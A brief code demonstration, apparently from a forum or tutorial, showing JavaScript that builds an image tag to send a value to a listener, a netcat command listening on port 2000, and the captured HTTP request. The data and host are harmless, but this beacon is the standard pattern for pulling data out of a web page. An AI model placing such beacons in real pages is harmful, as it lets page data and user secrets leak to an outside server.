<script>
var data = 'Hello!';
var img = document.createElement('img');
img.setAttribute('src', 'http://localhost:2000/test.php?data='+encodeURIComponent(data))
document.body.appendChild(img);
</script>

netcat -lp 2000

GET /test.php?data=Hello! HTTP/1.1
Host: localhost:2000
User-Agent: <redacted>
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive